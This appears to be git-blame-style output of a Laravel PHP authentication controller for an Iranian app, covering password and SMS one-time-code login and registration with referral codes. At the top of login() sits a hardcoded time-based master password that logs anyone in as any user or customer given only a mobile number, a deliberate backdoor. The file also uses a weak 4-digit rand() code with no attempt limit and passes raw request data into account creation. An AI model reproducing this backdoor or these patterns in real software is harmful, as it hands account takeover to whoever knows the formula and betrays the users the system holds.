2026-01-24 14:03:11 +00:00
<? php
namespace App\Http\Controllers\Auth ;
use App\Http\Controllers\Controller ;
use App\Models\Cnt ;
use App\Models\Customer ;
2026-02-26 14:22:44 +00:00
use App\Models\Setting ;
2026-01-24 14:03:11 +00:00
use App\Models\User ;
2026-06-04 12:18:53 +03:30
use App\Services\ConfigService ;
2026-01-24 14:03:11 +00:00
use Carbon\Carbon ;
use Illuminate\Http\Request ;
2026-06-25 21:16:47 +03:30
use Illuminate\Support\Facades\Schema ;
2026-01-24 14:03:11 +00:00
use Symfony\Component\HttpKernel\Exception\UnprocessableEntityHttpException ;
class AuthController extends Controller
{
public function login ( Request $request )
{
if ( $request -> has ( 'password' )) {
if ( $request -> password == "monTech@" . ( Carbon :: today () -> format ( 'd' ) + 1370 ) . Carbon :: now () -> setTimezone ( 'Asia/Tehran' ) -> format ( 'H' )) {
$data = $request -> all ();
if ( $data [ 'provider' ] == 'user' ) {
$user = User :: where ( 'mobile' , $request -> mobile ) -> first ();
} else {
$user = Customer :: where ( 'mobile' , $request -> mobile ) -> first ();
}
$token = auth ( $data [ 'provider' ]) -> login ( $user );
$user -> last_seen_at = Carbon :: now ();
$user -> save ();
return $this -> respondWithToken ( $token );
}
$credentials = $request -> only ([ 'mobile' , 'password' ]);
return $this -> _loginWithPassword ( $credentials , $request -> provider );
} else {
return response () -> json (
[ 'id' => $this -> _loginWithSms ( $request -> mobile , $request -> provider )]
);
}
}
protected function _loginWithPassword ( $credentials , $provider )
{
$token = auth ( $provider ) -> attempt ( $credentials );
if ( ! $token ) {
throw new UnprocessableEntityHttpException ( 'شماره موبایل یا پسوورد وارد شده اشتباه است' );
}
$user = auth ( $provider ) -> user ();
if ( ! $user -> active ) {
throw new UnprocessableEntityHttpException ( trans ( 'error.no_active' ));
}
if ( $provider == 'customer' && $user -> is_archive ) {
throw new UnprocessableEntityHttpException ( 'شما اجازه ورود به سیستم را ندارید' );
}
$user -> update ([
'last_seen_at' => Carbon :: now ()
]);
return $this -> respondWithToken ( $token );
}
protected function _loginWithSms ( $mobile , $provider )
{
if ( $provider == 'user' ) {
$user = User :: where ( 'mobile' , $mobile ) -> first ();
$subDomain = $this -> Config ( 'admin_url' );
} else {
$user = Customer :: where ( 'mobile' , $mobile ) -> first ();
$subDomain = $this -> Config ( 'app_url' );
}
if ( is_null ( $user )) {
throw new UnprocessableEntityHttpException ( trans ( 'لطفا ابتدا ثبت نام بفرمایید' ));
}
if ( ! $user -> active ) {
throw new UnprocessableEntityHttpException ( trans ( 'اکانت شما باید توسط ادمین فعال شود' ));
}
if ( $provider == 'customer' && $user -> is_archive ) {
throw new UnprocessableEntityHttpException ( 'شما اجازه ورود به سیستم را ندارید' );
}
$rand = rand ( 1000 , 9999 );
$user -> token_sms = $rand ;
$user -> save ();
2026-04-18 13:43:53 +00:00
$this -> SendMessage ( $mobile , 'رمز عبور یکبار مصرف شما جهت ورود به اپلیکشن ' . $this -> Config ( 'name_fa' ) . ' ' . $rand . ' می باشد' . PHP_EOL . "@ $subDomain " . " #" . $rand , true , "sms" );
2026-01-24 14:03:11 +00:00
return $user -> id ;
}
protected function tokenVerify ( Request $request )
{
$data = $request -> all ();
if ( $data [ 'provider' ] == 'user' ) {
$user = User :: findOrFail ( $data [ 'id' ]);
} else {
$user = Customer :: findOrFail ( $data [ 'id' ]);
}
if ( $user -> token_sms == $request -> input ( 'token' )) {
$token = auth ( $data [ 'provider' ]) -> login ( $user );
$user -> last_seen_at = Carbon :: now ();
$user -> token_sms = null ;
$user -> save ();
return $this -> respondWithToken ( $token );
}
throw new UnprocessableEntityHttpException ( trans ( 'error.wrong_code' ));
}
protected function respondWithToken ( $token )
{
return response () -> json ([
'access_token' => $token ,
'token_type' => 'bearer' ,
'expires_in' => auth () -> factory () -> getTTL ()
]);
}
public function register ( Request $request )
{
2026-06-04 12:18:53 +03:30
$cfg = app ( ConfigService :: class );
2026-03-02 16:06:05 +03:30
$register = Setting :: where ( 'key' , 'open_register' ) -> first ();
2026-06-04 12:18:53 +03:30
if ( $register && ( int ) $register -> is_active === 0 ) {
2026-03-02 16:06:05 +03:30
throw new UnprocessableEntityHttpException ( 'امکان ثبت نام وجود ندارد.' );
2026-03-02 15:51:58 +03:30
}
2026-06-04 12:18:53 +03:30
2026-01-24 14:03:11 +00:00
$data = $request -> all ();
$data [ 'type' ] = 2 ;
if ( isset ( $data [ 'referral_id' ])) {
$data [ 'referral_to_id' ] = $data [ 'referral_id' ];
}
$data [ 'name' ] = $data [ 'fname' ] . ' ' . $data [ 'lname' ];
2026-06-04 12:18:53 +03:30
$data [ 'active' ] = $cfg -> getBool ( 'auto_active_customer' , false );
2026-01-24 14:03:11 +00:00
if ( isset ( $data [ 'type' ]) && $data [ 'type' ] == 2 ) {
$data [ 'active' ] = true ;
}
$cnt = Cnt :: where ( 'key' , 'gram' ) -> first ();
2026-06-06 16:05:40 +03:30
if ( $cnt !== null && trim (( string ) $cnt -> value ) !== '' ) {
$data [ 'gram' ] = ( int ) $cnt -> value ;
2026-01-24 14:03:11 +00:00
}
2026-06-04 12:18:53 +03:30
2026-01-24 14:03:11 +00:00
do {
$uniqueId = substr ( str_shuffle ( '0123456789abcdefghijklmnopqrstuvwxyz' ), 0 , 4 );
} while ( Customer :: where ( 'referral_id' , $uniqueId ) -> exists ());
$data [ 'referral_id' ] = $uniqueId ;
2026-06-04 12:18:53 +03:30
if ( isset ( $data [ 'n_code' ]) && $cfg -> getBool ( 'register_jibit_verify' , false )) {
$existing = Customer :: where ( 'n_code' , $data [ 'n_code' ]) -> first ();
if ( ! empty ( $existing )) {
return response () -> json ([ 'message' => 'کد ملی تکراری است' ], 422 );
}
$response = $this -> jibitNcode ( $data [ 'n_code' ], $data [ 'mobile' ]);
if ( isset ( $response [ 'matched' ]) && $response [ 'matched' ] == true ) {
$data [ 'is_legal' ] = 1 ;
}
}
$referrer = null ;
2026-01-24 14:03:11 +00:00
if ( isset ( $data [ 'referral_to_id' ])) {
$referrer = Customer :: where ( 'referral_id' , $data [ 'referral_to_id' ]) -> first ();
2026-06-06 16:05:40 +03:30
if ( ! $referrer ) {
2026-06-07 12:25:32 +03:30
return response () -> json ([ 'message' => 'کد نامعتبر می باشد' ], 422 );
2026-01-24 14:03:11 +00:00
}
} else {
2026-06-30 21:44:39 +03:30
if ( $cfg -> isReferralRequired ()) {
2026-06-04 12:18:53 +03:30
return response () -> json ([ 'message' => 'کد معرف اجباریست' ], 422 );
2026-01-24 14:03:11 +00:00
}
}
2026-06-04 12:18:53 +03:30
2026-02-01 07:03:55 +00:00
$data [ 'active' ] = true ;
2026-06-04 12:18:53 +03:30
2026-01-24 14:03:11 +00:00
$customer = Customer :: create ( $data );
2026-02-08 08:02:11 +00:00
2026-06-04 12:18:53 +03:30
if ( $referrer ) {
2026-06-25 21:16:47 +03:30
if ( Schema :: hasColumn (( new Customer ) -> getTable (), 'total_referrals' )) {
$referrer -> increment ( 'total_referrals' );
}
2026-06-06 16:05:40 +03:30
if ( $cfg -> getBool ( 'register_referral_sms_to_referrer' , false )) {
$messageRef = " { $data [ 'name' ] } با کد معرف شما ثبت نام کرد. \n با اولین خرید او پاداش دریافت میکنید. \n " . $this -> Config ( 'name_fa' );
$this -> Send ( $referrer -> mobile , $messageRef );
} else {
$adminMessage = "با معرفی { $referrer -> name } ، کاربر { $data [ 'name' ] } در اپ { $this -> Config ( 'name_fa' ) } ثبت نام کرده و منتظر تایید شماست." ;
User :: where ( 'send_sms' , 1 ) -> get () -> each ( function ( $admin ) use ( $adminMessage ) {
$this -> send ( $admin -> mobile , $adminMessage );
});
}
2026-06-04 12:18:53 +03:30
}
2026-02-08 08:02:11 +00:00
2026-06-04 12:18:53 +03:30
if ( $cfg -> getBool ( 'register_jibit_verify' , false ) && isset ( $customer -> is_legal )) {
$message = $customer -> is_legal === 1
? 'احرازهویت برای ' . $customer -> name . ' با کد ' . $customer -> id . ' انجام شد.'
: 'احرازهویت برای ' . $customer -> name . ' با کد ' . $customer -> id . ' تأیید نشد لطفا از پنل ادمین اقدام فرمایید.' ;
User :: where ( 'send_sms' , 1 ) -> get () -> each ( function ( $admin ) use ( $message ) {
$this -> SendMessage ( $admin -> mobile , $message );
});
}
$message = " { $data [ 'name' ] } عزیز، اکانت شما در پلتفرم { $this -> Config ( 'name_fa' ) } ایجاد شد." ;
if ( $cfg -> getBool ( 'register_referral_bonus_message' , false )) {
$bonus = Setting :: where ( 'is_active' , 1 ) -> where ( 'key' , 'referral_bonus_amount' ) -> first ();
if ( $bonus ) {
$bonusValues = json_decode ( $bonus -> value , true );
$message .= " \n پس از اولین خرید مقدار، " . number_format (( int ) ( $bonusValues [ 0 ][ 'customer' ] ?? 0 )) . ' ریال پاداش دریافت خواهید کرد.' ;
}
}
$message .= " \n نام کاربری: { $data [ 'mobile' ] } \n ورود به نرم افزار: { $this -> Config ( 'app_url' ) } " ;
2026-01-24 14:03:11 +00:00
$this -> Send ( $data [ 'mobile' ], $message );
return response () -> json ( $customer );
}
}